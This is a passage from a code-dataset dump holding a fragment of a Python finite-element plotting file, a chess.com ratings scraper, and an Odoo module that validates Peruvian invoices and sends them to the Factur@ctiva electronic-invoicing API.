ax.plot(coords[:, 0], coords[:, 1],\n marker='o', linewidth=0.3, markersize=3, color='blue')\n\n plt.show()\n\n #-----------------------------------------------------------------------\n # __advance\n #-----------------------------------------------------------------------\n\n def __advance(self, i):\n if self.strain is not None:\n pass\n","repo_name":"erikjloo/Python-FEM","sub_path":"PBCmodel.py","file_name":"PBCmodel.py","file_ext":"py","file_size_in_byte":23110,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"25191749023","text":"import json\nimport requests\nfrom tqdm import tqdm\nfrom bs4 import BeautifulSoup\n\n\ndef get_player_ratings(data):\n\n rank_data = data.find('div', class_='master-players-rating-rank')\n rank = int(rank_data.text.split('#')[-1].strip())\n \n ratings = data.select('.master-players-rating-player-rank')\n return [rank] + [int(rating.text) for rating in ratings]\n\n\ndef get_player_profile_info(data):\n result = {}\n default_avatar_url = \"https://www.chess.com/bundles/web/images/user-image.svg\"\n result['avatar_url'] = data.find('img').get('data-src', default_avatar_url)\n \n title = data.find('span')\n if title: \n result['title'] = title.text\n \n result['country'] = data.select('.country-flags-component')[0]['v-tooltip'].split()[-1]\n \n profile_data = data.find('a', class_='master-players-rating-username')\n result['url'] = profile_data['href']\n result['name'] = profile_data.text.strip()\n result['username'] = result['url'].split('/')[-1]\n\n return result\n\n\ndef single_page_scraper(page_data, output_file):\n all_players_info = page_data.select('tbody tr')\n if all_players_info:\n for player_info in all_players_info:\n profile_data = player_info.find('div', 'master-players-rating-user-wrapper')\n player = get_player_profile_info(profile_data)\n \n rank, classic_rating, rapid_rating, blitz_rating = get_player_ratings(player_info)\n player.update({\n 'rank':rank,\n 'classic_rating':classic_rating,\n 'rapid_rating':rapid_rating, \n 'blitz_rating':blitz_rating \n })\n json.dump(player, output_file)\n else:\n raise StopIteration\n \n\ndef chess_rating_scraper():\n url = 'https://www.chess.com/ratings'\n page_no = 1\n with open('ratings.json', 'w') as f:\n while True:\n try:\n tqdm.write(f\"page: {page_no}\", end='\\r') \n html_data = requests.get(f'{url}?page={page_no}').text\n data = BeautifulSoup(html_data, 'lxml')\n single_page_scraper(data, f)\n page_no += 1\n except Exception as e:\n print(e)\n break\n\n \nchess_rating_scraper()","repo_name":"eldorjonneymatov/scrapers","sub_path":"chess_scraper.py","file_name":"chess_scraper.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4796798342","text":"# -*- coding: utf-8 -*-\r\nimport logging\r\nimport pytz\r\nimport voluptuous\r\nfrom voluptuous import Schema, Required, All, Length, ALLOW_EXTRA, Coerce\r\nfrom dateutil.relativedelta import relativedelta\r\nimport re\r\n\r\nfrom odoo import api, fields, models\r\n\r\nfrom . commons import *\r\nfrom odoo.exceptions import UserError, ValidationError\r\nfrom odoo.tools.translate import _\r\n\r\n_logger = logging.getLogger(__name__)\r\n\r\n\r\n# mapping invoice type to journal type\r\nTYPE2JOURNAL = {\r\n 'out_invoice': 'sale',\r\n 'in_invoice': 'purchase',\r\n 'out_refund': 'sale',\r\n 'in_refund': 'purchase',\r\n}\r\n\r\n# mapping invoice type to refund type\r\nTYPE2REFUND = {\r\n 'out_invoice': 'out_refund', # Customer Invoice\r\n 'in_invoice': 'in_refund', # Vendor Bill\r\n 'out_refund': 'out_invoice', # Customer Credit Note\r\n 'in_refund': 'in_invoice', # Vendor Credit Note\r\n}\r\n\r\nPATTERN_SERIE_CORRELATIVO = \"^\\w{4}\\-\\w+$\"\r\n\r\n\r\nclass AccountInvoice(models.Model):\r\n _inherit = 'account.invoice'\r\n\r\n @api.one\r\n @api.depends('invoice_line_ids.price_subtotal', 'tax_line_ids.amount',\r\n 'currency_id', 'global_descuento')\r\n def _compute_total_amount_sunat(self):\r\n round_curr = self.currency_id.round\r\n total_gravado = 0.0\r\n total_exonerado = 0.0\r\n total_inafecto = 0.0\r\n for line in self.invoice_line_ids:\r\n for tax in line.invoice_line_tax_ids:\r\n if tax.afect_igv.type == u'gravado':\r\n total_gravado += line.quantity * line.price_unit\r\n elif tax.afect_igv.type == u'exonerado':\r\n total_exonerado += line.price_subtotal\r\n elif tax.afect_igv.type == u'inafecto':\r\n total_inafecto += line.price_subtotal\r\n if self.global_descuento:\r\n total_gravado = (total_gravado\r\n * (100.0 - self.global_descuento)\r\n / 100.0)\r\n self.total_descuentos = sum(\r\n [line.quantity * line.price_unit * line.discount / 100\r\n for line in self.invoice_line_ids]\r\n )\r\n self.total_descuento_global = (\r\n (\r\n (total_gravado + self.amount_tax)\r\n / (1 - self.global_descuento / 100)\r\n ) * self.global_descuento / 100)\r\n self.total_amount_gravado = total_gravado\r\n self.total_amount_exonerado = total_exonerado\r\n self.total_amount_inafecto = total_inafecto\r\n self.total_tax_discount = sum(\r\n round_curr(line.amount)\r\n for line in self.tax_line_ids\r\n ) * self.global_descuento / 100\r\n\r\n @api.model\r\n def _default_journal(self):\r\n res = super(AccountInvoice, self)._default_journal()\r\n # _logger.warning(res)\r\n if self._context.get('default_journal_id', False):\r\n return self.env['account.journal'].browse(\r\n self._context.get('default_journal_id'))\r\n inv_type = self._context.get('type', 'out_invoice')\r\n inv_types = inv_type if isinstance(inv_type, list) else [inv_type]\r\n company_id = self._context.get('company_id',\r\n self.env.user.company_id.id)\r\n domain = [\r\n ('type', 'in',\r\n [TYPE2JOURNAL[ty] for ty in inv_types if ty in TYPE2JOURNAL]),\r\n ('company_id', '=', company_id),\r\n ]\r\n if 'out_invoice' in inv_type:\r\n domain.append(('tipo_doc_code', 'in', ['01', '03', '08']))\r\n elif 'out_refund' in inv_type:\r\n domain.append(('tipo_doc_code', 'in', ['07']))\r\n # _logger.warning(domain)\r\n # _logger.warning(self.env['account.journal'].search(domain, limit=1))\r\n return self.env['account.journal'].search(domain, limit=1)\r\n\r\n journal_id = fields.Many2one(\r\n domain=\"[('type', 'in', {'out_invoice': ['sale'], \"\r\n \"'out_refund': ['sale'], 'in_refund': ['purchase'], \"\r\n \"'in_invoice': ['purchase']}.get(type, [])),\"\r\n \"('tipo_doc_code', 'in',{'out_invoice': ['01','03','08'],\"\r\n \"'out_refund': ['07']}.get(type,[])), \"\r\n \"('company_id', '=', company_id)]\")\r\n tipo_doc_id = fields.Char(related='journal_id.tipo_doc_code',\r\n string='Code Doc. SUNAT')\r\n\r\n tipo_doc_rel_code = fields.Char(related='journal_id.tipo_doc_rel_code',\r\n string='Code Doc. Rel. SUNAT')\r\n\r\n estado_envio = fields.Selection(\r\n ESTADOS_INTEGRACION,\r\n default='xenviar',\r\n string='Estado Envio SUNAT',\r\n copy=False\r\n )\r\n global_descuento = fields.Float(\r\n string='Desc. Global (%)',\r\n default=0.0,\r\n )\r\n total_amount_gravado = fields.Monetary(\r\n string='Total Op. Gravadas',\r\n default=0.0,\r\n compute='_compute_total_amount_sunat'\r\n )\r\n total_amount_exonerado = fields.Monetary(\r\n string='Total Op. Exoneradas',\r\n default=0.0,\r\n compute='_compute_total_amount_sunat'\r\n )\r\n total_amount_inafecto = fields.Monetary(\r\n string='Total Op. Inafectas',\r\n default=0.0,\r\n compute='_compute_total_amount_sunat'\r\n )\r\n total_descuentos = fields.Monetary(\r\n string=\"Total Descuentos\",\r\n default=0.0,\r\n compute='_compute_total_amount_sunat'\r\n )\r\n total_descuento_global = fields.Monetary(\r\n string=\"Total Descuentos Global\",\r\n default=0.0,\r\n compute='_compute_total_amount_sunat'\r\n )\r\n total_tax_discount = fields.Monetary(\r\n string='Total Descuento Impuesto',\r\n default=0.0,\r\n compute='_compute_total_amount_sunat'\r\n )\r\n # Nota de Crédito\r\n tipo_nota_doc_id = fields.Many2one(\r\n 'factiva.catalogo.09',\r\n string='Tipo Nota Crédito'\r\n )\r\n\r\n # Nota de Débito\r\n inv_ndeb_rel_id = fields.Many2one(\r\n 'account.invoice',\r\n string='Doc. Relacionado'\r\n )\r\n tipo_ndeb_id = fields.Many2one(\r\n 'factiva.catalogo.10',\r\n string='Tipo N. Débito.'\r\n )\r\n tipo_ndeb_code = fields.Char(\r\n related='tipo_ndeb_id.code'\r\n )\r\n sustento_ndeb = fields.Char(string='Sustento N. Débito')\r\n\r\n fa_consulta_id = fields.Char(string='Id de consulta F@ctiva',\r\n compute='_compute_fa_consulta_id',\r\n store=True)\r\n\r\n @api.depends('company_id', 'journal_id', 'number')\r\n def _compute_fa_consulta_id(self):\r\n for inv in self:\r\n if inv.company_id and inv.journal_id and inv.number:\r\n\r\n if re.match(PATTERN_SERIE_CORRELATIVO, inv.number):\r\n serie, correlativo = inv.number.split('-')\r\n formatt = '%(tipo_doc_emisor)s-%(ruc)s-' \\\r\n '%(tipo_doc_cmp)s-%(serie)s-%(correlativo)s'\r\n args = {\r\n 'tipo_doc_emisor': inv.company_id.tipo_doc_id.code,\r\n 'ruc': inv.company_id.vat,\r\n 'tipo_doc_cmp': inv.journal_id.tipo_doc_id.code,\r\n 'serie': serie,\r\n 'correlativo': correlativo\r\n }\r\n # _logger.warning(formatt % args)\r\n inv.fa_consulta_id = formatt % args\r\n else:\r\n inv.fa_consulta_id = False\r\n else:\r\n inv.fa_consulta_id = False\r\n\r\n def get_direc(self, partner):\r\n pattern = ''\r\n args = {}\r\n if partner.street:\r\n pattern = pattern + '%(street)s'\r\n args['street'] = partner.street\r\n if partner.street2:\r\n pattern = pattern + ' %(street2)s'\r\n args['street2'] = partner.street2\r\n if partner.departamento_id:\r\n pattern = pattern + ' %(department_name)s'\r\n args['department_name'] = partner.departamento_id.name\r\n if partner.provincia_id:\r\n pattern = pattern + ' - %(province_name)s'\r\n args['province_name'] = partner.provincia_id.name\r\n if partner.distrito_id:\r\n pattern = pattern + ' - %(district_name)s'\r\n args['district_name'] = partner.distrito_id.name\r\n direccion = (pattern % args)\r\n if len(pattern) > 0:\r\n return str(pattern % args)\r\n else:\r\n return str(\"-\")\r\n\r\n @api.multi\r\n def action_open_logs(self):\r\n \"\"\"\r\n Método que abre una nueva ventana que contiene\r\n los LOGS de un documento\r\n \"\"\"\r\n tree_id = self.env.ref('factiva_integracion.log_tree_view').id\r\n id_activo = self.id\r\n\r\n logs_ids = self.env['logs.comprobante'].search(\r\n [('invoice_id', '=', id_activo)]).ids\r\n domain = \"[('id','in',[\" + ','.join(map(str, logs_ids)) + \"])]\"\r\n\r\n return {\r\n 'type': 'ir.actions.act_window',\r\n 'name': \"Listado Logs\",\r\n 'view_type': 'form',\r\n 'view_mode': 'tree',\r\n 'res_model': 'logs.comprobante',\r\n 'views': [(tree_id, 'tree')],\r\n 'view_id': tree_id,\r\n 'target': 'new',\r\n 'domain': domain,\r\n 'context': {}\r\n }\r\n\r\n @api.multi\r\n def action_invoice_open(self):\r\n super(AccountInvoice, self).action_invoice_open()\r\n if self.type in ('out_invoice', 'out_refund'):\r\n return self.action_invoicing()\r\n else:\r\n return True\r\n\r\n def validate(self, tipo_doc, data):\r\n doc = Schema({\r\n Required('serie'): All(str, Length(min=4, max=4)),\r\n Required('correlativo'): All(str, Length(min=1, max=8)),\r\n Required('nombreEmisor'): All(str, Length(min=1, max=100)),\r\n Required('tipoDocEmisor'): All(str, Length(min=1, max=2),\r\n msg='El tipo de Doc. Emisor debe '\r\n 'tener un tamaño entre 1 y 2'),\r\n Required('numDocEmisor'): All(str, Length(min=1, max=25)),\r\n 'direccionOrigen': All(str, Length(min=1, max=100)),\r\n 'direccionUbigeo': All(str, Length(min=6, max=6)),\r\n Required('tipoDocReceptor'): All(str, Length(min=1, max=2)),\r\n Required('numDocReceptor'): All(str, Length(min=1, max=25)),\r\n Required('nombreReceptor'): All(str, Length(min=1, max=100)),\r\n # TODO: Verificar si hay problemas en el orden\r\n Required('tipoMoneda'): All(str, Length(min=3, max=3)),\r\n 'mntNeto': Coerce(float),\r\n 'mntTotalIgv': Coerce(float),\r\n 'mntTotal': Coerce(float),\r\n 'fechaVencimiento': All(str, Length(min=10, max=10)),\r\n 'tipoFormatoRepresentacionImpresa': All(str,\r\n Length(min=1, max=100)),\r\n })\r\n\r\n if tipo_doc in '03':\r\n # Boletas\r\n doc = doc.extend({\r\n 'direccionDestino': All(str, Length(min=1, max=100)),\r\n })\r\n if tipo_doc in ('07', '08'):\r\n # Nota Crédito\r\n doc = doc.extend({\r\n Required('sustento'): All(str, Length(min=1, max=100)),\r\n Required('tipoMotivoNotaModificatoria'):\r\n All(str, Length(min=2, max=2))\r\n })\r\n\r\n impuesto = Schema(All([{\r\n 'codImpuesto': All(str, Length(min=1, max=4)),\r\n 'montoImpuesto': Coerce(float),\r\n 'tasaImpuesto': Coerce(float),\r\n }]))\r\n detalle = Schema(All([{\r\n Required('cantidadItem'): Coerce(float),\r\n Required('unidadMedidaItem'): All(str, Length(min=1, max=3)),\r\n 'codItem': All(str, Length(min=1, max=30)),\r\n Required('nombreItem'): All(str, Length(min=1, max=250)),\r\n # TODO: No debe ser obligatorio para Notas\r\n Required('precioItem'): Coerce(float),\r\n Required('precioItemSinIgv'): Coerce(float),\r\n Required('montoItem'): Coerce(float),\r\n # TODO-FIN\r\n 'descuentoMonto': Coerce(float),\r\n Required('codAfectacionIgv'): All(str, Length(min=2, max=2)),\r\n 'tasaIgv': Coerce(float),\r\n 'montoIgv': Coerce(float),\r\n Required('idOperacion'): All(str, Length(min=1, max=80))\r\n }], Length(min=1)))\r\n descuento = Schema(All({\r\n 'mntTotalDescuentos': Coerce(float),\r\n }))\r\n\r\n schema = Schema({\r\n Required('documento'): doc,\r\n Required('tipoDocumento'): All(str, Length(min=2, max=2)),\r\n Required('fechaEmision'): All(str, Length(min=10, max=10)),\r\n Required('idTransaccion'): All(str, Length(min=1)),\r\n 'correoReceptor': str,\r\n Required('impuesto'): impuesto,\r\n Required('detalle'): detalle,\r\n 'descuento': descuento,\r\n })\r\n if tipo_doc in ('07', '08'):\r\n referencia = Schema(All([{\r\n 'tipoDocumentoRef': All(str, Length(min=1, max=2)),\r\n 'serieRef': All(str, Length(min=4, max=4)),\r\n 'correlativoRef': All(str, Length(min=1, max=8)),\r\n 'fechaEmisionRef': All(str, Length(min=10, max=10)),\r\n }]))\r\n\r\n schema = schema.extend({\r\n 'referencia': referencia,\r\n })\r\n return schema(data)\r\n\r\n @api.multi\r\n def action_invoicing(self):\r\n\r\n access_token = token(self.company_id.url_endpoint,\r\n self.company_id.api_key,\r\n self.company_id.api_secret)\r\n # _logger.warning('Access Token: %s', access_token.json())\r\n\r\n emisor = self.env.user.company_id\r\n receptor = self.partner_id\r\n\r\n tipo_doc = self.journal_id.tipo_doc_id.code\r\n ruc_emisor = emisor.vat\r\n # Fecha de emision Localizada\r\n user_tz = pytz.timezone(\r\n self.env.context.get('tz') or self.env.user.tz or 'UTC')\r\n today = user_tz.localize(\r\n fields.Datetime.from_string(self.date_invoice + ' 00:00:00'))\r\n # today = today.astimezone(pytz.timezone('UTC'))\r\n today = fields.Datetime.to_string(today)\r\n\r\n # Serie - Correlativo\r\n if re.match(PATTERN_SERIE_CORRELATIVO, self.number):\r\n serie, correlativo = self.number.split('-')\r\n else:\r\n return self.env['mensaje.emergente'].get_mensaje(\r\n 'Validación de campos', 'La serie y el correlativo '\r\n 'no tienen un patron adecuado '\r\n 'para la facturación electrónica. '\r\n 'Ejm: XXXX-X')\r\n\r\n if tipo_doc in '01':\r\n if (receptor.tipo_doc_id.code is False\r\n or receptor.vat is False or receptor.name is False):\r\n return self.env['mensaje.emergente'].get_mensaje(\r\n 'Validación de campos', 'Es requerida la los datos del'\r\n ' cliente como Nombre, Tipo Doc.,'\r\n ' Num. Doc')\r\n if receptor.tipo_doc_id.code == u'1':\r\n return self.env['mensaje.emergente'].get_mensaje(\r\n 'Validación de campos', 'No se puede emitir Facturas '\r\n 'a clientes con DNI.')\r\n elif self.amount_total_company_signed >= 700 and tipo_doc in '03':\r\n if (receptor.tipo_doc_id.code is False\r\n or receptor.vat is False or receptor.name is False):\r\n return self.env['mensaje.emergente'].get_mensaje(\r\n 'Validación de campos', 'Es requerida la los datos del'\r\n ' cliente como Nombre, '\r\n 'Tipo Doc., Num. Doc')\r\n tipo_doc_recep = (receptor.tipo_doc_id.code\r\n if receptor.tipo_doc_id.code is not False else '-')\r\n num_doc_recep = receptor.vat if receptor.vat is not False else '-'\r\n nom_recep = receptor.name if receptor.name is not False else '-'\r\n doc = {\r\n 'serie': serie,\r\n 'correlativo': correlativo,\r\n 'nombreEmisor': emisor.name,\r\n 'tipoDocEmisor': emisor.tipo_doc_id.code,\r\n 'numDocEmisor': emisor.vat,\r\n 'direccionOrigen': self.get_direc(emisor),\r\n 'direccionUbigeo': emisor.zip,\r\n 'tipoDocReceptor': tipo_doc_recep,\r\n 'numDocReceptor': num_doc_recep,\r\n 'nombreReceptor': nom_recep,\r\n \"tipoMoneda\": self.currency_id.name,\r\n 'fechaVencimiento': self.date_due,\r\n \"tipoFormatoRepresentacionImpresa\": \"GENERAL\",\r\n \"mntNeto\": self.total_amount_gravado,\r\n \"mntTotalIgv\": self.amount_tax,\r\n \"mntTotal\": self.amount_total,\r\n }\r\n\r\n descuento = {\r\n 'mntTotalDescuentos': self.total_descuentos,\r\n }\r\n # Descuento Gobal solo para Facturas 01 y Boletas 03\r\n # if tipo_doc in (u'01', u'03'):\r\n # descuento['mntDescuentoGlobal'] = self.total_descuento_global,\r\n impuesto = []\r\n detalle = []\r\n for tax in self.tax_line_ids:\r\n impuesto.append({\r\n \"codImpuesto\": str(tax.tax_id.tipo_imp_sunat.code),\r\n \"montoImpuesto\": tax.amount_total,\r\n \"tasaImpuesto\": tax.tax_id.amount / 100\r\n })\r\n\r\n for item in self.invoice_line_ids:\r\n\r\n if item.invoice_line_tax_ids.price_include:\r\n\r\n if item.invoice_line_tax_ids.amount == 0:\r\n montoImpuestoUni = 0\r\n base_imponible = item.price_unit\r\n else:\r\n base_imponible = item.price_unit / (\r\n 1 + (item.invoice_line_tax_ids.amount / 100))\r\n montoImpuestoUni = item.price_unit - base_imponible\r\n\r\n precioItem = item.price_unit\r\n\r\n else:\r\n base_imponible = item.price_unit\r\n descuento_uni = item.discount / 100.0\r\n descuento_item_unit = base_imponible * descuento_uni\r\n monto_item_unit = base_imponible - descuento_item_unit\r\n impuesto_ap = item.invoice_line_tax_ids.amount / 100\r\n monto_igv = monto_item_unit * impuesto_ap\r\n precioItem = monto_item_unit + monto_igv\r\n\r\n detalle.append({\r\n \"cantidadItem\": round(item.quantity, 3),\r\n \"unidadMedidaItem\": item.uom_id.code,\r\n \"codItem\": str(item.product_id.id),\r\n \"nombreItem\": item.product_id.name,\r\n \"precioItem\": round(precioItem, 2),\r\n \"precioItemSinIgv\": round(base_imponible, 2),\r\n \"montoItem\": round(monto_item_unit * item.quantity, 2),\r\n \"descuentoMonto\": item.quantity * descuento_item_unit,\r\n \"codAfectacionIgv\": (\r\n item.invoice_line_tax_ids[0].afect_igv.code\r\n ),\r\n \"tasaIgv\": impuesto_ap,\r\n \"montoIgv\": round(monto_igv * item.quantity, 2),\r\n # \"codSistemaCalculoIsc\": \"01\", # VERIFICAR\r\n # \"montoIsc\": 0.0, # VERIFICAR\r\n # \"tasaIsc\" : 0.0, #VERIFICAR\r\n # \"precioItemReferencia\": 0.0, # VERIFICAR\r\n \"idOperacion\": serie + '-' + correlativo + '-' + str(item.id),\r\n })\r\n\r\n anexo = [{}]\r\n anticipo = [{}]\r\n today_code = self.date_invoice.replace('-', '')\r\n data = {\r\n 'documento': doc,\r\n 'tipoDocumento': tipo_doc,\r\n 'fechaEmision': today[:10],\r\n 'idTransaccion': (tipo_doc + '-' + ruc_emisor + '-'\r\n + today_code + correlativo),\r\n 'correoReceptor': self.partner_id.email or '',\r\n 'impuesto': impuesto,\r\n 'detalle': detalle,\r\n 'descuento': descuento,\r\n # 'anexo': anexo,\r\n # 'referencia': ref,\r\n # 'anticipo': anticipo,\r\n # 'servicioHospedaje':\r\n }\r\n # Boleta\r\n if tipo_doc in '03':\r\n data['documento'].update(\r\n {'direccionDestino': self.get_direc(receptor)}\r\n )\r\n # Nota de Crédito\r\n if tipo_doc == u'07':\r\n data['documento']['sustento'] = self.name\r\n data['documento']['tipoMotivoNotaModificatoria'] = (\r\n self.tipo_nota_doc_id.code\r\n )\r\n doc_ref = self.search([('number', '=', self.origin)])\r\n serie_ref, correlativo_ref = doc_ref.number.split('-')\r\n ref = [{\r\n 'serieRef': serie_ref,\r\n 'correlativoRef': correlativo_ref,\r\n 'fechaEmisionRef': doc_ref.date_invoice,\r\n 'tipoDocumentoRef': doc_ref.journal_id.tipo_doc_id.code\r\n }]\r\n data['referencia'] = ref\r\n if tipo_doc == u'08':\r\n data['documento']['sustento'] = self.sustento_ndeb\r\n data['documento']['tipoMotivoNotaModificatoria'] = (\r\n self.tipo_ndeb_id.code\r\n )\r\n if self.inv_ndeb_rel_id:\r\n doc_ref = self.inv_ndeb_rel_id\r\n serie_ref, correlativo_ref = doc_ref.number.split('-')\r\n ref = [{\r\n 'serieRef': serie_ref,\r\n 'correlativoRef': correlativo_ref,\r\n 'fechaEmisionRef': doc_ref.date_invoice,\r\n 'tipoDocumentoRef': doc_ref.journal_id.tipo_doc_id.code\r\n }]\r\n data['referencia'] = ref\r\n _logger.info(json.dumps(data, indent=4))\r\n # _logger.info(self.validate(tipo_doc, data))\r\n try:\r\n self.validate(tipo_doc, data)\r\n except voluptuous.error.MultipleInvalid as exc:\r\n _logger.info(exc)\r\n return self.env['mensaje.emergente'].get_mensaje(\r\n 'Validación de campos',\r\n str(exc))\r\n self.env['logs.comprobante'].create(\r\n {\r\n 'invoice_id': self.id,\r\n 'fecha': fields.Datetime.now(),\r\n 'descripcion': 'Envio a Factur@activa',\r\n 'estado_ini': False,\r\n 'estado_fin': 'xenviar',\r\n 'json_envio': json.dumps(data, indent=4),\r\n }\r\n )\r\n rpta = send(\r\n self.company_id.url_endpoint,\r\n json.dumps(data),\r\n access_token,\r\n self.company_id.url_documentos\r\n )\r\n # _logger.info(rpta)\r\n if 'error' in rpta:\r\n data_rpta = rpta['data'].json()\r\n if 'errors' in data_rpta:\r\n errors = data_rpta.get('errors')[0]\r\n if 'meta' in errors:\r\n meta = data_rpta.get('errors')[0].get('meta')\r\n if ('reenvioHabilitado' in meta\r\n and meta.get('reenvioHabilitado')):\r\n self.env['logs.comprobante'].create(\r\n {\r\n 'invoice_id': self.id,\r\n 'fecha': fields.Datetime.now(),\r\n 'descripcion': ('Code: ' + errors.get('code')\r\n + '-' + errors.get('detail')),\r\n 'estado_ini': 'xenviar',\r\n 'estado_fin': 'xenviar',\r\n 'json_rpta': data_rpta,\r\n }\r\n )\r\n return self.env['mensaje.emergente'].get_mensaje(\r\n 'Factur@ctiva',\r\n ('Status: ' + str(errors.get('status')) + ' '\r\n + 'Code: ' + errors.get('code')),\r\n errors.get('detail'))\r\n else:\r\n return self.env['mensaje.emergente'].get_mensaje(\r\n 'Factur@ctiva',\r\n ('Status: ' + str(errors.get('status')) + ' '\r\n + 'Code: ' + errors.get('code')),\r\n errors.get('detail'))\r\n else:\r\n _logger.info(json.dumps(rpta.json(), indent=4))\r\n data_rpta = rpta.json().get('data')\r\n self.env['logs.comprobante'].create(\r\n {\r\n 'invoice_id': self.id,\r\n 'fecha': fields.Datetime.now(),\r\n 'descripcion': 'Enviado a Factur@ctiva',\r\n 'estado_ini': 'xenviar',\r\n 'estado_fin': 'enviado',\r\n 'json_rpta': data_rpta,\r\n }\r\n )\r\n self.estado_envio = 'acep_factiva'\r\n self.env['logs.comprobante'].create(\r\n {\r\n 'invoice_id': self.id,\r\n 'fecha': fields.Datetime.now(),\r\n 'descripcion': 'Aceptado Factur@ctiva',\r\n 'estado_ini': 'enviado',\r\n 'estado_fin': 'acep_factiva',\r\n 'json_rpta': data_rpta,\r\n }\r\n )\r\n if 'estadoEmision' in data_rpta:\r\n estado_emision = data_rpta['estadoEmision']\r\n if estado_emision == u'A':\r\n self.env['logs.comprobante'].create(\r\n {\r\n 'invoice_id': self.id,\r\n 'fecha': fields.Datetime.now(),\r\n 'descripcion': 'Aceptado Sunat',\r\n 'estado_ini': 'acep_factiva',\r\n 'estado_fin': 'acep_sunat',\r\n 'json_rpta': data_rpta,\r\n }\r\n )\r\n self.estado_envio = 'acep_sunat'\r\n return self.env['mensaje.emergente'].get_mensaje(\r\n 'Factur@ctiva', 'Aceptado SUNAT', False)\r\n elif estado_emision == u'P':\r\n self.env['logs.comprobante'].create(\r\n {\r\n 'invoice_id': self.id,\r\n 'fecha': fields.Datetime.now(),\r\n 'descripcion': 'Pendiente de envio a SUNAT',\r\n 'estado_ini': 'acep_factiva',\r\n 'estado_fin': 'acep_factiva',\r\n 'json_rpta': data_rpta,\r\n }\r\n )\r\n self.estado_envio = 'acep_factiva'\r\n return self.env['mensaje.emergente'].get_mensaje(\r\n 'Factur@ctiva', 'Pendiente de envio a SUNAT', False)\r\n elif estado_emision == u'O':\r\n self.env['logs.comprobante'].create(\r\n {\r\n 'invoice_id': self.id,\r\n 'fecha': fields.Datetime.now(),\r\n 'descripcion': 'Aceptado Sunat Obs.',\r\n 'estado_ini': 'acep_factiva',\r\n 'estado_fin': 'acep_sunat_obs',\r\n 'json_rpta': data_rpta,\r\n }\r\n )\r\n self.estado_envio = 'acep_sunat_obs'\r\n # TODO: Mostar popup con informacion\r\n elif estado_emision == u'R':\r\n self.env['logs.comprobante'].create(\r\n {\r\n 'invoice_id': self.id,\r\n 'fecha': fields.Datetime.now(),\r\n 'descripcion': 'Aceptado Sunat Obs.',\r\n 'estado_ini': 'acep_factiva',\r\n 'estado_fin': 'rechaz_sunat',\r\n 'json_rpta': data_rpta,\r\n }\r\n )\r\n self.estado_envio = 'rechaz_sunat'\r\n # TODO: Mostar popup con informacion\r\n\r\n @api.multi\r\n def action_baja_comprobante(self):\r\n domain = [('invoice_id', '=', self.id),\r\n ('resp_estado_emision', '=', 'acep_factiva')]\r\n baja = self.env['baja.documento'].search(domain,\r\n order='id desc',\r\n limit=1)\r\n if baja and baja.id:\r\n form_id = self.env.ref(\r\n 'factiva_integracion.baja_documento_form_view').id\r\n return {\r\n 'type': 'ir.actions.act_window',\r\n 'name': \"Baja Documento\",\r\n 'view_mode': 'form',\r\n 'view_type': 'form',\r\n 'res_model': 'baja.documento',\r\n 'view_id': form_id,\r\n 'views': [(form_id, 'form')],\r\n 'target': 'new',\r\n 'context': {\r\n 'name': baja.name,\r\n 'invoice_id': baja.invoice_id.id,\r\n 'fecha': baja.fecha,\r\n 'motivo': baja.motivo,\r\n 'resp_id_resumen': baja.resp_id_resumen,\r\n 'resp_id_ticket': baja.resp_id_ticket,\r\n 'resp_estado_emision': baja.resp_estado_emision,\r\n }\r\n }\r\n else:\r\n today = fields.Date.from_string(fields.Date.context_today(self))\r\n date_invoice = fields.Date.from_string(self.date_invoice)\r\n if today > date_invoice + relativedelta(days=7):\r\n year, month, day = self.date_invoice.split('-')\r\n raise UserError('Solo tiene 7 días para solicitar la baja'\r\n ' de un comprobante, la fecha de emisión de %s'\r\n ' es %s/%s/%s'\r\n % (self.number, day, month, year))\r\n form_id = self.env.ref(\r\n 'factiva_integracion.send_baja_documento_form_view').id\r\n return {\r\n 'type': 'ir.actions.act_window',\r\n 'name': \"Baja Documento\",\r\n 'view_mode': 'form',\r\n 'view_type': 'form',\r\n 'res_model': 'baja.documento',\r\n 'view_id': form_id,\r\n 'views': [(form_id, 'form')],\r\n 'target': 'new',\r\n 'context': {\r\n 'invoice_id': self.id,\r\n }\r\n }\r\n\r\n @api.multi\r\n def action_estado_envio(self):\r\n access_token = token(self.company_id.url_endpoint,\r\n self.company_id.api_key,\r\n self.company_id.api_secret)\r\n id_consulta = self.fa_consulta_id\r\n rpta = get(self.company_id.url_endpoint,\r\n {},\r\n access_token,\r\n self.company_id.url_documentos,\r\n id_consulta)\r\n data_rpta = rpta.json()\r\n _logger.info(id_consulta)\r\n _logger.info(rpta)\r\n _logger.info(data_rpta)\r\n # TODO: Mensaje de error cuando no se tenga respuesta.\r\n\r\n @api.multi\r\n def action_print_documento_fa(self):\r\n self.ensure_one()\r\n access_token = token(self.company_id.url_endpoint,\r\n self.company_id.api_key,\r\n self.company_id.api_secret)\r\n id_consulta = self.fa_consulta_id\r\n rpta = get(self.company_id.url_endpoint,\r\n {},\r\n access_token,\r\n self.company_id.url_download,\r\n id_consulta)\r\n data_rpta = rpta.json().get('data')\r\n\r\n if 'pdf' in data_rpta:\r\n pdf = data_rpta.get('pdf')\r\n file_id = self.env['file.imp'].create({'filecontent': pdf})\r\n filename_field = self.fa_consulta_id[2:]\r\n\r\n if file_id and file_id.id is not False:\r\n action = {\r\n 'res_model': 'ir.actions.act_url',\r\n 'type': 'ir.actions.act_url',\r\n 'url': (\"web/content/?model=file.imp&id=\" + str(file_id.id)\r\n + \"&filename_field=\" + filename_field\r\n + \"&field=filecontent&download=true&filename=\"\r\n + filename_field+'.pdf'),\r\n 'target': 'new',\r\n }\r\n return action\r\n else:\r\n # TODO: Mensaje de error\r\n pass\r\n\r\n # ================ REFUND ===========================================\r\n @api.multi\r\n @api.returns('self')\r\n def refund(self, date_invoice=None, date=None, description=None,\r\n journal_id=None, tipo_nota=None):\r\n new_invoices = self.browse()\r\n for invoice in self:\r\n # create the new invoice\r\n values = self._prepare_refund(invoice, date_invoice=date_invoice,\r\n date=date, description=description,\r\n journal_id=journal_id)\r\n if tipo_nota:\r\n values['tipo_nota_doc_id'] = tipo_nota\r\n refund_invoice = self.create(values)\r\n invoice_type = {'out_invoice': ('customer invoices credit note'),\r\n 'in_invoice': ('vendor bill credit note')}\r\n message = (_(\"This %s has been created from: %s\")\r\n % (invoice_type[invoice.type],\r\n invoice.id, invoice.number)\r\n )\r\n 